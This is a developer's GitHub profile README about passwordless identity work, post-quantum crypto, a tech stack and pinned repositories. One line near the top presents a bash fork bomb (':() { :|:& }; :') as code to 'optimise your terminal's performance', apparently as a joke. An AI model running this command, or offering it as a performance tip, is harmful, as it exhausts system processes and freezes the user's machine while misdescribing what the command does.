Skip to content
View angga-22's full-sized avatar
:shipit:
Investigating the 🌍
:shipit:
Investigating the 🌍

Block or report angga-22

Report abuse

Contact GitHub support about this user’s behavior. Learn more about reporting abuse.

Report abuse
angga-22/README.md

Hey, I'm Angga πŸ‘‹

I work on identity stuff β€” mostly passwordless auth with Keycloak, Verifiable Credentials, and WebAuthn, plus the crypto underneath it all. These days I'm also getting my hands dirty with Kubernetes and DevOps.

Here's a nice piece of code to optimise your terminal's performance ☠️ : :() { :|:& }; :

What I'm working on

  • A self-hosted Keycloak identity platform that other apps log in through. No passwords β€” it uses Verifiable Credentials instead.
  • The guts of it: a custom Keycloak auth plugin (Java SPI), W3C Verifiable Credentials libraries, WebAuthn/FIDO2, and a hybrid post-quantum crypto path
  • Learning Kubernetes, GitOps, and CI/CD at the Apple Institute for DevOps

I'm a bit obsessive about clean architecture and type safety. If it's not secure by design, it bugs me.

Tech

Identity & crypto: Keycloak (custom SPI plugins and theming), Verifiable Credentials, DIDs, WebAuthn/FIDO2, WalletConnect, post-quantum crypto (Dilithium, Kyber), OIDC, PKI, JWT, PASETO, TLS

Languages: TypeScript/JavaScript, Python, and Go daily. Java when needed. Enough Rust and C++ to be dangerous.

Backend: Gin, Chi, FastAPI, NestJS, Node.js, Django, REST, gRPC, GraphQL, RabbitMQ, Kafka

Infra & cloud: AWS (Networking, Serverless Architecture, Compute, Storage), Containerization & Orchestration, CI/CD, ArgoCD, Helm Template, Service Mesh, IaC & Configuration-as-Code

Observability: Prometheus, Grafana stack (Alloy, Loki, Mimir, Tempo)

Data: SQL & NoSQL, schema design & normalization, ACID & data integrity, indexing, replication & sharding, OLTP vs OLAP

Say hi

Always up for a chat about identity, security, or whatever you're building: anggasp.unib@gmail.com

Pinned Loading

  1. awswaste awswaste Public

    Read-only CLI that finds AWS waste β€” idle and orphaned resources ranked by $/month, across one account or a whole org.

    Go 2

  2. pqinv pqinv Public

    Post-quantum crypto readiness scanner for identity infrastructure β€” OIDC/JWKS, TLS, source code. CBOM output, CI gate.

    Go

  3. password-obscura password-obscura Public

    A lightweight NPM package to "visually" obscure passwords or strings using customizable shift-based logic

    TypeScript 5

  4. containerd containerd Public

    Forked from containerd/containerd

    An open and reliable container runtime

    Go

  5. go-paseto go-paseto Public

    Forked from aidantwoods/go-paseto

    Platform-Agnostic Security Tokens implementation in Golang.

    Go

  6. golang-clean-architecture golang-clean-architecture Public template

    Forked from khannedy/golang-clean-architecture

    Go-Lang Clean Architecture

    Go 2